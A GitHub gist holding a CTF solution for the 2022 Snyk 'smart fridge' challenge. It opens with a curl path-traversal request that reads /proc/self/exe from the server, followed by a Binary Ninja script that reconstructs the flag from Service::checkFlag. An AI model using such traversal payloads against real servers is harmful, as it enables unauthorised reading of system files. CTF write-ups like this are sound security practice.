- you can get server binary using:
curl --path-as-is http://[SERVER]/docs/../../../../../../../proc/self/exe - and you need to reverse-engineering the function
Service::checkFlag - I used binary ninja for automation and it was quite easy for me.
Created
November 9, 2022 18:08
-
-
Save d0now/c7e5fc8ada627f4e0862cb13624f17ea to your computer and use it in GitHub Desktop.
2022 snyk.io fetch the flag - smart fridge solve
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from binaryninja import * | |
| def solve(bv: BinaryView, start_block_addr: int, end_block_addr: int): | |
| function1 = bv.get_functions_containing(start_block_addr)[0] | |
| function2 = bv.get_functions_containing(end_block_addr)[0] | |
| if function1.start != function2.start: | |
| print("invalid start and end.") | |
| return None | |
| else: | |
| checkFlag = function1 | |
| current_block = checkFlag.get_basic_block_at(start_block_addr) | |
| checkIndexes = bv.get_functions_by_name("Service::checkIndexes")[0] | |
| vector_allocator = bv.get_functions_by_name("std::vector<int32_t>::vector")[0] | |
| flagstr = bytearray(0x46) | |
| while current_block.start != end_block_addr: | |
| print(f"processing block 0x{current_block.start:x}") | |
| # getting value | |
| checkIndexes_call_found = False | |
| for ref in bv.get_code_refs(checkIndexes.start): | |
| if ref.address >= current_block.start and ref.address < current_block.end: | |
| checkIndexes_call_found = True | |
| break | |
| if not checkIndexes_call_found: | |
| raise Exception(f"checkIndexes call not found at 0x{current_block.start:x}") | |
| value = int(ref.mlil.params[3].value) | |
| # getting offsets | |
| vector_allocator_call_found = False | |
| for ref in bv.get_code_refs(vector_allocator.start): | |
| if (ref.address >= current_block.start) and (ref.address < current_block.end): | |
| vector_allocator_call_found = True | |
| break | |
| if not vector_allocator_call_found: | |
| raise Exception(f"vector allocator call not found at 0x{current_block.start:x}") | |
| print(f"ref.address = 0x{ref.address:x}") | |
| offset_count = int(ref.mlil.params[2].value) | |
| print(f"offset_count = 0x{offset_count:x}") | |
| offset_stack = ref.mlil.params[1].value | |
| print(f"offset_stack = {offset_stack}") | |
| offsets = [] | |
| for i in range(offset_count): | |
| stack_content = ref.function.get_stack_contents_at(ref.address, int(offset_stack) + (i * 4), 4) | |
| offsets.append(int(stack_content)) | |
| # apply on flagstr | |
| print(f"value = 0x{value:x}") | |
| print(f"offsets = {offsets}") | |
| for offset in offsets: | |
| if offset >= 0x46: | |
| raise Exception("WTF1") | |
| if flagstr[offset] != 0 and flagstr[offset] != value: | |
| raise Exception("WTF2") | |
| flagstr[offset] = value | |
| print(flagstr) | |
| # get next success block | |
| next_block = None | |
| for edge in current_block.outgoing_edges: | |
| if edge.type == BranchType.TrueBranch: | |
| next_block = edge.target | |
| break | |
| elif edge.type == BranchType.FalseBranch: | |
| continue | |
| else: | |
| raise Exception("WTF3") | |
| if not next_block: | |
| raise Exception("WTF4") | |
| else: | |
| current_block = next_block | |
| print(bytes(flagstr).decode()) | |
| if __name__ == '__main__': | |
| import argparse | |
| parser = argparse.ArgumentParser() | |
| parser.add_argument("--path", type=Path, default=Path("leak.bndb")) | |
| parser.add_argument("--start", type=int, default=0xb8c7) | |
| parser.add_argument("--end", type=int, default=0x11b35) | |
| parser.add_argument("--login", action='store_true') | |
| args = parser.parse_args() | |
| with open_view(args.path) as bv: | |
| solve(bv, args.start, args.end) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment